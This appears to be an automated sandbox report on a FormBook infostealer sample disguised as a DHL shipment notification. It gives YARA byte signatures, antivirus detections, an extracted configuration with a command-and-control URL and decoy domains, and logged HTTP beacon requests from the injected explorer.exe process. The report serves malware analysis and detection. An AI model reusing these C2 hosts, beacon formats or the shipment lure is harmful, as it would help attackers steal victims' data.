2.0.aeokw.exe.400000.6.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.0.aeokw.exe.400000.6.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
2.0.aeokw.exe.400000.4.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.0.aeokw.exe.400000.4.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.0.aeokw.exe.400000.4.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
2.2.aeokw.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.aeokw.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.aeokw.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
2.0.aeokw.exe.400000.8.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.0.aeokw.exe.400000.8.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.0.aeokw.exe.400000.8.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 22 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.lgf7.com/amdf/"], "decoy": ["xadazheng.com", "bremorgan.com", "keilaniclothing.com", "du9a20ofolvhfr.xyz", "santamariacourt.com", "wcagls.com", "visionuptechnology.com", "sddysrq.com", "pencetslot.site", "wpcoisas.com", "caomei08.xyz", "infinitepotential.xyz", "anotherchanceranch.net", "ymterp.com", "zhuyunming.com", "elementarymodel.com", "edmondsonfinancial.com", "adsnethosting.com", "obohsan-souzokusindan.tech", "helicopterart.com", "shangnuanjia.com", "89660.world", "zkzxconsulting.com", "temp-bait.com", "8562.pet", "taojinwa.net", "chatterboxtwo.com", "pejoki.com", "effectual-science.com", "ma3721.com", "b498gszj.com", "sicuumon.com", "northwtb.com", "reconbattery.xyz", "sibirerzucht.com", "fusionpsychiatry.net", "biblicalguidance.net", "liquated99tic.com", "ruvinslimshop.com", "attjeans.com", "reservedadseyelevel.com", "theselungs.com", "safe-edd-centerhelp92.com", "provercoop.com", "216498.com", "bbqautopilot.com", "nurhurdacilik.com", "zo177.wales", "doublemsporthorses.com", "hl308.com", "movewhenyouwant.com", "smartinvestorsguide.com", "joga-wroclaw.com", "potionsparchment.com", "rtpholywin99.com", "sosocean.com", "vliralip.com", "alphaomegamerch.net", "pallettruckload.com", "spritzdao.xyz", "unbound-soul.com", "enssale.xyz", "capitalisllc.com", "ultrakill.xyz"]}

Multi AV Scanner detection for submitted file

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe	Virustotal: Detection: 42%			Perma Link
Source: DHL SHIPMENT NOTIFICATION 1146789443.exe	ReversingLabs: Detection: 48%

Yara detected FormBook

Source: Yara match	File source: 2.0.aeokw.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.aeokw.exe.12a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.aeokw.exe.12a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aeokw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aeokw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://www.rtpholywin99.com/amdf/?oTsXW=bHtTbh8HU&9rF=Trmpqgljk9XuX6wxdqqXIm/y+wmhK8tfRywx+ln+mTz4pafXVdYl+/2RwiFK/8XcMfBx	Avira URL Cloud: Label: malware
Source: www.lgf7.com/amdf/	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe

Joe Sandbox ML: detected

Source: 2.0.aeokw.exe.400000.8.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.2.aeokw.exe.12a0000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.0.aeokw.exe.400000.6.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.0.aeokw.exe.400000.4.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.2.aeokw.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\mvbaz\xgpqcu\xwqn\f27888ddf02c4c6aa9eb1b8f5b3a0302\rlifld\nwoxnqyr\Release\nwoxnqyr.pdb source: DHL SHIPMENT NOTIFICATION 1146789443.exe, 00000000.00000002.271439175.0000000000789000.00000004.00000001.01000000.00000003.sdmp, aeokw.exe, 00000001.00000002.258082115.0000000000D7E000.00000002.00000001.01000000.00000004.sdmp, aeokw.exe, 00000001.00000000.249383523.0000000000D7E000.00000002.00000001.01000000.00000004.sdmp, aeokw.exe, 00000002.00000002.322132231.0000000000D7E000.00000002.00000001.01000000.00000004.sdmp, svchost.exe, 00000011.00000002.515611102.000000000352F000.00000004.10000000.00040000.00000000.sdmp, nsk2671.tmp.0.dr, aeokw.exe.0.dr
Source:	Binary string: wntdll.pdbUGP source: aeokw.exe, 00000001.00000003.255155254.0000000002E70000.00000004.00001000.00020000.00000000.sdmp, aeokw.exe, 00000001.00000003.254132987.000000001ADE0000.00000004.00001000.00020000.00000000.sdmp, aeokw.exe, 00000002.00000003.260122291.00000000012DE000.00000004.00000800.00020000.00000000.sdmp, aeokw.exe, 00000002.00000002.322328355.0000000001470000.00000040.00000800.00020000.00000000.sdmp, aeokw.exe, 00000002.00000002.322514089.000000000158F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.514140723.0000000003000000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.322000917.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.323291458.0000000002E00000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.514664363.000000000311F000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aeokw.exe, 00000001.00000003.255155254.0000000002E70000.00000004.00001000.00020000.00000000.sdmp, aeokw.exe, 00000001.00000003.254132987.000000001ADE0000.00000004.00001000.00020000.00000000.sdmp, aeokw.exe, 00000002.00000003.260122291.00000000012DE000.00000004.00000800.00020000.00000000.sdmp, aeokw.exe, 00000002.00000002.322328355.0000000001470000.00000040.00000800.00020000.00000000.sdmp, aeokw.exe, 00000002.00000002.322514089.000000000158F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000011.00000002.514140723.0000000003000000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.322000917.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.323291458.0000000002E00000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.514664363.000000000311F000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: aeokw.exe, 00000002.00000002.322286626.00000000011DA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: aeokw.exe, 00000002.00000002.322286626.00000000011DA000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Code function: 0_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Code function: 0_2_004069A4 FindFirstFileW,FindClose,
Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Code function: 0_2_0040290B FindFirstFileW,

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 4x nop then pop ebx
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 4x nop then pop edi
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop ebx
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop edi

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80
Source: C:\Windows\explorer.exe	Domain query: www.ultrakill.xyz
Source: C:\Windows\explorer.exe	Network Connect: 3.64.163.50 80
Source: C:\Windows\explorer.exe	Network Connect: 142.250.185.115 80
Source: C:\Windows\explorer.exe	Domain query: www.rtpholywin99.com
Source: C:\Windows\explorer.exe	Domain query: www.keilaniclothing.com

Performs DNS queries to domains with low reputation

Source: C:\Windows\explorer.exe

DNS query: www.ultrakill.xyz

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.lgf7.com/amdf/

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US

Source: global traffic	HTTP traffic detected: GET /amdf/?oTsXW=bHtTbh8HU&9rF=Trmpqgljk9XuX6wxdqqXIm/y+wmhK8tfRywx+ln+mTz4pafXVdYl+/2RwiFK/8XcMfBx HTTP/1.1Host: www.rtpholywin99.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /amdf/?9rF=/oFEaKse3b+9bUwDmBZBOOdpMJRIltPBO/GIVMmFEKpLcaQ5ll8yuFZgv1Udvzfmdn1m&oTsXW=bHtTbh8HU HTTP/1.1Host: www.keilaniclothing.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /amdf/?oTsXW=bHtTbh8HU&9rF=2pnwrPnaayjLTa+dMDr3ioSS0RS/WyH1Gjote8OZi1oxTz0HZpyyfRSy0TFJ31yfLnqh HTTP/1.1Host: www.ultrakill.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 23.227.38.74 23.227.38.74

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 13 May 2022 14:10:37 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAccept-Ranges: noneVary: Accept-EncodingTransfer-Encoding: chunkedConnection: closeData Raw: 62 31 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 42 6c 6f 67 67 65 72 20 69 73 20 61 20 62 6c 6f 67 20 70 75 62 6c 69 73 68 69 6e 67 20 74 6f 6f 6c 20 66 72 6f 6d 20 47 6f 6f 67 6c 65 20 66 6f 72 20 65 61 73 69 6c 79 20 73 68 61 72 69 6e 67 20 79 6f 75 72 20 74 68 6f 75 67 68 74 73 20 77 69 74 68 20 74 68 65 20 77 6f 72 6c 64 2e 20 42 6c 6f 67 67 65 72 20 6d 61 6b 65 73 20 69 74 20 73 69 6d 70 6c 65 20 74 6f 20 70 6f 73 74 20 74 65 78 74 2c 20 70 68 6f 74 6f 73 20 61 6e 64 20 76 69 64 65 6f 20 6f 6e 74 6f 20 79 6f 75 72 20 70 65 72 73 6f 6e 61 6c 20 6f 72 20 74 65 61 6d 20 62 6c 6f 67 2e 22 3e 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 62 6c 6f 67 67 65 72 2c 20 62 6c 6f 67 73 70 6f 74 2c 20 62 6c 6f 67 2c 20 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 20 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2c 20 70 65 72 73 6f 6e 61 6c 20 62 6c 6f 67 2c 20 77 65 62 6c 6f 67 2c 20 63 72 65 61 74 65 20 62 6c 6f 67 2c 20 6e 65 77 20 62 6c 6f 67 22 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 22 3e 0a 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 23 68 6f 6d 65 42 75 74 74 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 37 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 31 2f 76 2d 63 73 73 2f 33 38 39 36 35 35 38 36 37 33 2d 6e 65 77 5f 75 69 5f 73 74 61 74 69 63 5f 70 61 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6c 61 6e 67 5f 65 6e 20 72 62 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 13 May 2022 14:10:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Sorting-Hat-PodId: 250X-Sorting-Hat-ShopId: 64045383931X-Dc: gcp-europe-west1X-Request-ID: c795f513-2a89-4e29-a885-b65e0c1175bdX-XSS-Protection: 1; mode=blockX-Download-Options: noopenX-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 70abfb06ecb2917d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 69 6e 7b 66 6c 65 78 3a 31 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: svchost.exe, 00000011.00000002.515898561.0000000003A1F000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ultrakill.xyz/

Source: unknown

DNS traffic detected: queries for: www.rtpholywin99.com

Source: global traffic	HTTP traffic detected: GET /amdf/?oTsXW=bHtTbh8HU&9rF=Trmpqgljk9XuX6wxdqqXIm/y+wmhK8tfRywx+ln+mTz4pafXVdYl+/2RwiFK/8XcMfBx HTTP/1.1Host: www.rtpholywin99.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /amdf/?9rF=/oFEaKse3b+9bUwDmBZBOOdpMJRIltPBO/GIVMmFEKpLcaQ5ll8yuFZgv1Udvzfmdn1m&oTsXW=bHtTbh8HU HTTP/1.1Host: www.keilaniclothing.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /amdf/?oTsXW=bHtTbh8HU&9rF=2pnwrPnaayjLTa+dMDr3ioSS0RS/WyH1Gjote8OZi1oxTz0HZpyyfRSy0TFJ31yfLnqh HTTP/1.1Host: www.ultrakill.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

Code function: 0_2_0040580F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.0.aeokw.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.aeokw.exe.12a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.aeokw.exe.12a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aeokw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.aeokw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.aeokw.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
